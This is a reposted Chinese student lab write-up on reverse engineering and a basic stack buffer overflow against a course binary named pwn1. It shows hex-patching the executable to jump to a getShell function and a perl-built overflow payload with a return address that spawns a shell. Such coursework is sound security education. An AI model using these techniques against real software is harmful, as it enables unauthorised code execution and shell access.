博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
20145213《网络对抗》逆向及Bof基础
阅读量:5837 次
发布时间:2019-06-18

本文共 1208 字,大约阅读时间需要 4 分钟。

实践目标

  • 本次实践的对象是一个名为pwn1的linux可执行文件。
  • 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
  • 该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。

实践要求

  • 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码(1分)
  • 掌握反汇编与十六进制编程器 (1分)
  • 能正确修改机器指令改变程序执行流程(1分)
  • 能正确构造payload进行bof攻击(2分)
  • Optional:进阶,shellcode编程与注入

实践两种方法

1.利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。

2.手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。


基础知识

  • NOP:NOP指令即“空指令”。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。(机器码:90)
  • JNE:条件转移指令,如果不相等则跳转。(机器码:75)
  • JE:条件转移指令,如果相等则跳转。(机器码:74)
  • JMP:无条件转移指令。段内直接短转Jmp short(机器码:EB)段内直接近转移Jmp near(机器码:E9)段内间接转移Jmp word(机器码:FF)段间直接(远)转移Jmp far(机器码:EA)
  • CMP:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。cmp指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。

实验步骤

实验1、直接修改程序机器指令,改变程序执行流程

1.输入指令objdump -d 20145221 | more

898082-20170305160626079-845606604.png
898082-20170305160642157-1363477484.png
898082-20170305160652532-508498462.png
2.输入指令vi 20145221,用vim编辑器查看可执行文件20145221
898082-20170305160738485-924584298.png
3.输入指令:%! xxd,进入vi编辑模式后,发现乱码,键入前述指令查看其16进制表示
898082-20170305160822595-1608014827.png
4.输入指令:\e8 d7查询,输入r进入编辑
5.很重要,先输入指令%!xxd -r退出16进制后,再输入指令:wq保存退出
898082-20170305161233813-47144898.png
898082-20170305161249891-372486112.png
6.输入指令./20145213运行程序
898082-20170305161334798-487734963.png

实验2:通过构造输入参数,造成BOF攻击,改变程序执行流

1.了解函数功能,即输入一串字符输出同样的字符

898082-20170305154721704-410457045.png
缓存区溢出,造成错误
898082-20170305154827360-806192371.png
2.gdb指令调试
898082-20170305154911938-686186673.png
3.构造一串特殊的输入,输出perl -e 'print "12345678123456781234567812345678\x7d\x84\x04\x08\x0a"' > input
898082-20170305155229626-320792666.png
4.输入指令(cat input; cat) | ./20145213,将input文件作为输入
898082-20170305155335204-318752446.png

转载于:https://www.cnblogs.com/qiwei/p/6505629.html

你可能感兴趣的文章
【OpenCV学习】滚动条
查看>>
ofo用科技引领行业进入4.0时代 用户粘性连续8个月远甩摩拜
查看>>
兰州青年志愿者“中西合璧”玩快闪 温暖旅客回家路
查看>>
计划10年建10万廉价屋 新西兰政府:比想象中难
查看>>
甘肃发首版《3D打印职业教育教材》:校企合作育专才
查看>>
李娜入选国际网球名人堂 成亚洲第一人
查看>>
为找好心人抚养孩子 浙江一离婚父亲将幼童丢弃公园
查看>>
晚婚晚育 近20年巴西35岁以上孕妇增加65%
查看>>
读书:为了那个美妙的咔哒声
查看>>
jsp改造之sitemesh注意事项
查看>>
SpringBoot-Shiro使用
查看>>
iOS 9.0之后NSString encode方法替换
查看>>
解决 ThinkPHP5 无法接收 客户端 Post 传递的 Json 参数
查看>>
ASMFD (ASM Filter Driver) Support on OS Platforms (Certification Matrix). (文档 ID 2034681.1)
查看>>
CRM Transaction处理中的权限控制
查看>>
[转]linux创建链接文件的两种方法
查看>>
python ipaddress模块使用
查看>>
文件权限
查看>>
busybox里的僵尸进程为何那么多
查看>>
python debug
查看>>